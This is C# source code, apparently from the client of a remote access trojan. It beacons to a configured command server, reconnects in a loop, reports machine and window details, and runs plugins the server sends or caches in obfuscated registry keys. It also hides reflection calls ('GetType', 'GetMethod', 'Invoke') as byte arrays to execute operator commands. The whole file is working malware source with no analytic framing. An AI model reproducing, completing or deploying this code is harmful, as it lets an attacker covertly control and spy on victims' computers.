public void Handler(byte[] packet) //Receive Data from Server
{
try
{
string KEY = Config.key;
string[] data = Strings.Split(StringConverter.BytestoString(packet), KEY, -1, CompareMethod.Text);
if (data[0] == "PNC")
{
Config.stopwatch.Reset();
Config.stopwatch.Start();
Client.TcpSend("PNC");
}
else if (data[0] == "P")
{
Config.stopwatch.Stop();
Client.TcpSend("P" + KEY + Config.stopwatch.ElapsedMilliseconds);
Client.TcpSend("W" + KEY + IdGenerator.GetActiveWindow());
}
else if (data[0] == "IE") //Ask about plugin
{
if ((Registry.CurrentUser.OpenSubKey("Software\\" + StringConverter.Encode(Config.currentMutex) + "\\" + data[1], true) != null))
{
try
{
Invoke(Config.host, Config.port, data[4], data[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + StringConverter.Encode(Config.currentMutex) + @"\\" + data[1], data[1], null).ToString(), int.Parse(data[2]), Convert.ToBoolean(data[3]), data[1], true);
}
catch
{
Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
}
}
else
{
Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
}
}
else if (data[0] == "LP") //invoke plugin
{
Invoke(Config.host, Config.port, data[1], data[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), data[3], int.Parse(data[4]), Convert.ToBoolean(data[5]), data[6], Convert.ToBoolean(data[7]));
}
else if (data[0] == "UNV") //uninstall - restart - close .. etc
{
object ar = Interaction.CallByName(GetAssembly(data[1]), Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, data[2]);
object enn = Interaction.CallByName(ar, Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, Encoding.Default.GetString(new byte[] { 85, 78, 73 }));
object inn = Interaction.CallByName(enn, Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { StringConverter.Encode(Config.currentMutex), data[3], null, null, null, null, null, null, null, null,
null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null, null, null, null, null,
null, null, data[4], data[5], Application.ExecutablePath, data[6], data[7], data[8], data[9], data[10],
data[11], data[12], data[13] });
}
}
catch
{
//Client.isConnected = false;
}
}
private static Array PacketFixer(byte[] bytesArray, string splitter)
{
List <byte[]> a = new List <byte[]>();
MemoryStream M = new MemoryStream();
MemoryStream MM = new MemoryStream();
string[] T = Strings.Split(StringConverter.BytestoString(bytesArray), splitter, -1, CompareMethod.Text);
M.Write(bytesArray, 0, T[0].Length);
MM.Write(bytesArray, T[0].Length + splitter.Length, bytesArray.Length - (T[0].Length + splitter.Length));
a.Add(M.ToArray());
a.Add(MM.ToArray());
M.Dispose();
MM.Dispose();
return(a.ToArray());
}
private static void TcpReceive()
{
while (true)
{
while (!isConnected)
{
try
{
memoryStream?.Dispose();
keepAlivePacket?.Dispose();
}
catch { }
try
{
client?.Dispose();
//client?.Disconnect(false); // 2.0
}
catch { }
try
{
client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
SendBufferSize = 999999,
ReceiveBufferSize = 999999,
};
client.Connect(Config.host, Convert.ToInt32(Config.port));
isConnected = true;
TcpSend(IdGenerator.SendInfo());
TimerCallback T = new TimerCallback(Ping);
keepAlivePacket = new Timer(T, null, 30000, 30000);
memoryStream = new MemoryStream();
}
catch
{
isConnected = false;
Thread.Sleep(3000);
}
}
while (isConnected)
{
try
{
if (client.Poll(-1, SelectMode.SelectRead) && client.Available <= 0 || !client.Connected)
{
isConnected = false;
break;
}
byte[] buffer = new byte[client.Available];
client.Receive(buffer, 0, buffer.Length, SocketFlags.None);
memoryStream.Write(buffer, 0, buffer.Length);
rr:
if (StringConverter.BytestoString(memoryStream.ToArray()).Contains(Config.splitter))
{
Array[] array = (Array[])PacketFixer(memoryStream.ToArray(), Config.splitter);
new Thread(() =>
{
new PacketHandler().Handler((byte[])array[0]);
}).Start();
memoryStream.Dispose();
memoryStream = new MemoryStream();
if (array.Length == 2)
{
memoryStream.Write((byte[])array[1], 0, ((byte[])array[1]).Length);
goto rr;
}
}
}
catch
{
isConnected = false;
break;
}
}
}
}
